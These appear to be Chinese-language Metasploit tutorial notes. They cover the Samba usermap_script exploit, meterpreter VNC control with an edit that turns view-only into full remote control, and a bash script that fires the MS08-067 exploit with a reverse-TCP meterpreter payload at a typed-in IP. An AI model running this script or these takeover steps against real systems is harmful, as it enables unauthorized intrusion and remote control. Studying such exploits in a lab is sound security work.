# 1. 关于 Samba 服务的 usermap_script 安全漏洞相关信息

查看 usermap_script 模块的信息

msf6 > info exploit/multi/samba/usermap_script
       Name: Samba "username map script" Command Execution
     Module: exploit/multi/samba/usermap_script
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-14
Provided by:
  jduck <[email protected]>
Available targets:
      Id  Name
      --  ----
  =>  0   Automatic
Check supported:
  No
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                     using-metasploit.html
  RPORT   139              yes       The target port (TCP)
Payload information:
  Space: 1024
Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands.
  No authentication is needed to exploit this vulnerability since
  this option is used to map usernames prior to authentication!
References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html
View the full module info with the info -d command.

该去读文章的去读文章,这种量级的漏洞一经披露,补丁发布的非常快,但是补丁发布了就是有人不打,还是可能会出现有漏洞的资产。

# 2. 更新 metasploit,并且找到各服务器的攻击模块数量

# 更新

kali 下:

apt update
apt install metasploit-framework

linux 环境下:

msfupdate

windows 可以直接下载安装包更新

# 统计攻击模块数量

我这里用的 windows

直接打开这个路径 embedded\framework\modules\exploit

查看里面文件数量就知道一共有 2408 个攻击模块

具体的不同版本模块可以通过以下命令查询:

msf6 > search type:exploit target:windows 2000

其他版本同理

# 3. 获取一台 windows 机器的 VNC 控制

正常通过漏洞打进去之后,通过 meterpreter run vnc 可以得到 VNC 控制

run vnc 默认只有观看,没有控制,如果想要进行控制需要将源代码修改

/scripts/meterpreter/ 下的 vnc.rb 文件中的 pay 的声明后方 (53 行) 添加 pay.datastore['ViewOnly'] = false 可进行远程控制。

关于远程桌面的命令:

enumdesktops   #查看可用的桌面
getdesktop   #获取当前 meterpreter 关联的桌面
set_desktop   #设置 meterpreter 关联的桌面 h 查看帮助
screenshot   #截屏
use espia   #或者使用 espia 模块截屏 然后输入 screengrab
run vnc   #使用使用vnc远程桌面连接

# 4. 编写一个 shell 脚本通过 msfcli 进行攻击

已经没有 msfcli 了,所以通过 msfconsole -x 进行攻击,编写了一个 shell 脚本,输入 IP 地址将调用模块进行攻击

#!/bin/bash
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set PAYLOAD windows/meterpreter/reverse_tcp;\set RHOST $IP;\set LHOST 127.0.0.1;\set TARGET 34;\exploit"